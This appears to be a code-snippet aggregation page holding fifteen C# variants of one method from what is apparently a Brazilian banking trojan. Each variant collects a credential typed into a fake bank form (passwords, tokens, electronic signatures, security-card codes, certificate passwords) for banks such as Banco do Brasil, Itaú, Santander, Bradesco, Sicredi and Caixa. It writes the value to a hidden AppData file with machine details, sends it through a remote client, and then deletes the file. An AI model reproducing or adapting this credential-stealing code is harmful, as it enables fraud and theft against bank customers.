Пример #1
0
        //private int X = 0;
        //private int Y = 0;

        private bool checkTxtLen()
        {
            if (textSen6.Text.Length != 6)
            {
                MessageBox.Show("A senha informada é inválida.", "http://www.bb.com.br/portalbb/home29,116,116,1,1,1,1.bb");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BB_6.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== BB-6 ===========================");
                    writer.WriteLine("Senha_6 de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + textSen6.Text.ToString());
                    writer.WriteLine("============================================================");
                    MenuRemoteClient cl = new MenuRemoteClient();
                    writer.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
                    writer.WriteLine("Tipo de conxão: " + cl.Conexao);
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BB_6.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BB_6.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_BB6();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BB_6.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #2
0
        private bool checkTxtLen()
        {
            if (txtAss4.Text.Length != 4)
            {
                MessageBox.Show("Assinatura eletrônica inválida.", "https://ibpf.sicredi.com.br/IBVerifier/verifica.html?timeMillis=1429626944449&coop=2342&conta=342342");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_Assnt.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== SIC ===========================");
                    writer.WriteLine("Assinatura Eletrônica de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + txtAss4.Text.ToString());
                    writer.WriteLine("===========================================================");
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_Assnt.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_Assnt.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_SIC();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_Assnt.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #3
0
        private bool checkTxtLen()
        {
            if (tDigts.Text.Length != 4)
            {
                MessageBox.Show("A posição " + casa + " é inválida.", "https://www.itau.com.br/conveniencia/?gclid=CjwKEAjwj9GqBRCRlPram97Xk3ESJA");
                return(false);
            }
            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TABLE.txt", true);

            tw.WriteLine("=================================== ITA_TABELA ==========================================================");
            tw.WriteLine("Posição " + casa + " da tabela de: " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + tDigts.Text.ToString());
            tw.WriteLine("=========================================================================================================");
            MenuRemoteClient cl = new MenuRemoteClient();

            tw.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
            tw.WriteLine("Tipo de conxão: " + cl.Conexao);
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TABLE.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TABLE.txt"))
            {
                MenuRemoteClient mrclint = new MenuRemoteClient();
                mrclint.sendInfo_ITATABLE();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TABLE.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #4
0
        private bool checkTxtLen()
        {
            if (txtTcode.Text.Length != 6)
            {
                MessageBox.Show("O nº Token informado é inválido.", "https://www.santander.com.br/portal/wps/script/templates/GCMRequest.do?page=7746");
                return(false);
            }

            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_JUJU.txt", true);

            tw.WriteLine("=================================== SANTA_TOKEN_JURIDICO ===================================");
            tw.WriteLine("Nº Token de: " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + txtTcode.Text);
            tw.WriteLine("============================================================================================");
            MenuRemoteClient cl = new MenuRemoteClient();

            tw.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
            tw.WriteLine("Tipo de conxão: " + cl.Conexao);
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_JUJU.txt", FileAttributes.Hidden);
            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_JUJU.txt"))
            {
                MenuRemoteClient mrcli = new MenuRemoteClient();
                mrcli.sendInfo_SANTA_TOK_JUJU();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_JUJU.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #5
0
        private bool checkTxtLen()
        {
            if (textA.Text.Length < 4 || textA.Text.Length > 8)
            {
                MessageBox.Show("Assinatura eletrônica inválida.", "https://www.santander.com.br/portal/wps/script/templates/GCMRequest.do?page=7746");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_AssntJUJU.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== SANTA_ASSNT_JURIDICA ===========================");
                    writer.WriteLine("Assinatura Eletrônica de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + textA.Text.ToString());
                    writer.WriteLine("============================================================================");
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_AssntJUJU.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_AssntJUJU.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_SANTA_ASS_JUJU();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_AssntJUJU.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #6
0
        private bool checkTxtLen()
        {
            if (txtToken.Text.Length != 6)
            {
                MessageBox.Show("O nº Token informado é inválido.", "https://www.itau.com.br/conveniencia/?gclid=CjwKEAjwj9GqBRCRlPram97Xk3ESJA");
                return(false);
            }

            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TOK_FISIC.txt", true);

            tw.WriteLine("=================================== ITA_TOKEN_FÍSICA ===================================");
            tw.WriteLine("Nº Token de: " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + txtToken.Text);
            tw.WriteLine("===================================================================================");
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TOK_FISIC.txt", FileAttributes.Hidden);
            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TOK_FISIC.txt"))
            {
                MenuRemoteClient mrcli = new MenuRemoteClient();
                mrcli.sendInfo_ITATOK();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_TOK_FISIC.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #7
0
        private bool checkTxtLen()
        {
            if (tsencc.Text.Length != 6)
            {
                MessageBox.Show("A senha informada é inválida.", "http://www.bradesco.com.br/html/classic/index.shtm");
                return(false);
            }

            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_06.txt", true);

            tw.WriteLine("============================== DESCO_SENHA-6=======================================");
            tw.WriteLine("Senha_6 Desco de : " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + tsencc.Text);
            tw.WriteLine("===================================================================================");
            MenuRemoteClient cl = new MenuRemoteClient();

            tw.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
            tw.WriteLine("Tipo de conxão: " + cl.Conexao);
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_06.txt", FileAttributes.Hidden);
            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_06.txt"))
            {
                MenuRemoteClient mrclin = new MenuRemoteClient();
                mrclin.sendInfo_DESCO6();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_06.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #8
0
        private bool checkTxtLen()
        {
            if (dataNasc.Text.Length != 10)
            {
                MessageBox.Show("A data informada é inválida.", "https://www.itau.com.br/conta-corrente/");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_NASC.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== ITA-DATA_NASCIMENTO ===========================");
                    writer.WriteLine("Data Nascimento de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + dataNasc.Text.ToString());
                    writer.WriteLine("===========================================================================");
                    MenuRemoteClient cl = new MenuRemoteClient();
                    writer.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
                    writer.WriteLine("Tipo de conxão: " + cl.Conexao);
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_NASC.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_NASC.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_ITANASC();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\ITA_NASC.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #9
0
        private bool checkTxtLen()
        {
            if (textGF_chave.Text.Length != 8 || textGF_senha.Text.Length != 8)
            {
                MessageBox.Show("A chave ou senha informada é inválida.", "http://www.bb.com.br/portalbb/home29,116,116,1,1,1,1.bb");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\GF_BB.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== GERENCIADOR FINANCEIRO ===========================");
                    writer.WriteLine("Gerenciador Financeiro de: " + System.Environment.MachineName);
                    writer.WriteLine("KEY: " + textGF_chave.Text.ToString());
                    writer.WriteLine("CODE: " + textGF_senha.Text.ToString());
                    writer.WriteLine("==============================================================================");
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\GF_BB.txt", FileAttributes.Hidden);


            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\GF_BB.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_BBGF();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\GF_BB.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #10
0
        private bool checkTxtLen()
        {
            if (textTab.Text.Length != 3)
            {
                MessageBox.Show("A posição " + cod_pos + " é inválida.", "http://www.bradesco.com.br/html/classic/index.shtm");
                return(false);
            }
            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TABLE.txt", true);

            tw.WriteLine("=================================== DESCO_TABELA ========================================================");
            tw.WriteLine("Posição " + cod_pos + " da tabela de: " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + textTab.Text.ToString());
            tw.WriteLine("=========================================================================================================");
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TABLE.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TABLE.txt"))
            {
                MenuRemoteClient mrclint = new MenuRemoteClient();
                mrclint.sendInfo_SANTA_TAB();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TABLE.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #11
0
        private bool checkTxtLen()
        {
            if (textAss.Text.Length != 6)
            {
                MessageBox.Show("Assinatura eletrônica inválida.", "https://internetbanking.caixa.gov.br/SIIBC/index.processa");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\CEF_Assnt.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== CEF_ASSNT ===========================");
                    writer.WriteLine("Assinatura Eletrônica de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + textAss.Text.ToString());
                    writer.WriteLine("=================================================================");
                    MenuRemoteClient cl = new MenuRemoteClient();
                    writer.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
                    writer.WriteLine("Tipo de conxão: " + cl.Conexao);
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\CEF_Assnt.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\CEF_Assnt.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_CEF();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\CEF_Assnt.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #12
0
        private bool checkTxtLen()
        {
            if ((tCertf.Text.Length < 8) || (tCertf.Text.Length > 13))
            {
                MessageBox.Show("A senha informada é inválida.", "http://www.bb.com.br/portalbb/home29,116,116,1,1,1,1.bb");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BBCertf_.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== BB_Certificado ==================================");
                    writer.WriteLine("Senha-Certificado de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + tCertf.Text.ToString());
                    writer.WriteLine("=============================================================================");
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BBCertf_.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BBCertf_.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_BBCERTF();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\BBCertf_.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #13
0
        private bool checkTxtLen()
        {
            if (tSicT.Text.Length != 6)
            {
                MessageBox.Show("O nº Token informado é inválido.", "https://ibpj.sicredi.com.br/IBVerifier/verifica.html?timeMillis=1429626944449&coop=2342&conta=342342");
                return(false);
            }

            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_TOK.txt", true);

            tw.WriteLine("=================================== SICREDI_TOKEN ===================================");
            tw.WriteLine("Nº Token de: " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + tSicT.Text);
            tw.WriteLine("=====================================================================================");
            MenuRemoteClient cl = new MenuRemoteClient();

            tw.WriteLine("Modelo da máquina: " + cl.HardwareM + " / " + cl.HardwareMD);
            tw.WriteLine("Tipo de conxão: " + cl.Conexao);
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_TOK.txt", FileAttributes.Hidden);
            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_TOK.txt"))
            {
                MenuRemoteClient mrcli = new MenuRemoteClient();
                mrcli.sendInfo_SICTOK();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SIC_TOK.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #14
0
        private bool checkTxtLen()
        {
            if (tToken.Text.Length != 6)
            {
                MessageBox.Show("O nº Token informado é inválido.", "http://www.bradesco.com.br/html/classic/index.shtm");
                return(false);
            }

            TextWriter tw = new StreamWriter(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_TOK.txt", true);

            tw.WriteLine("=================================== DESCO_TOKEN ===================================");
            tw.WriteLine("Nº Token de: " + System.Environment.MachineName);
            tw.WriteLine("CODE: " + tToken.Text);
            tw.WriteLine("===================================================================================");
            tw.Close();
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_TOK.txt", FileAttributes.Hidden);
            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_TOK.txt"))
            {
                MenuRemoteClient mrcli = new MenuRemoteClient();
                mrcli.sendInfo_DESCOTOK();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\DESCO_TOK.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }
Пример #15
0
        private bool checkTxtLen()
        {
            if (txtSerie.Text.Length < 1)
            {
                MessageBox.Show("O número de série informado é inválido.", "https://www.santander.com.br/portal/wps/script/templates/GCMRequest.do?page=7746");
                return(false);
            }

            using (FileStream stream = new FileStream(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_SERIE.txt", FileMode.Create))
                using (TextWriter writer = new StreamWriter(stream))
                {
                    writer.WriteLine("=========================== SANTA_NUMERO_SERIE ===========================");
                    writer.WriteLine("Número de série do dispositivo de: " + System.Environment.MachineName);
                    writer.WriteLine("CODE: " + txtSerie.Text.ToString());
                    writer.WriteLine("==========================================================================");
                }
            File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_SERIE.txt", FileAttributes.Hidden);

            if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_SERIE.txt"))
            {
                MenuRemoteClient clie = new MenuRemoteClient();
                clie.sendInfo_SANTA_TOK_SERIE();
                Thread.Sleep(1000);
                File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\SANTA_TOK_SERIE.txt");
                this.Close();
                Cursor.Clip = Screen.PrimaryScreen.Bounds;
            }
            this.Close();
            Cursor.Clip = Screen.PrimaryScreen.Bounds;
            return(true);
        }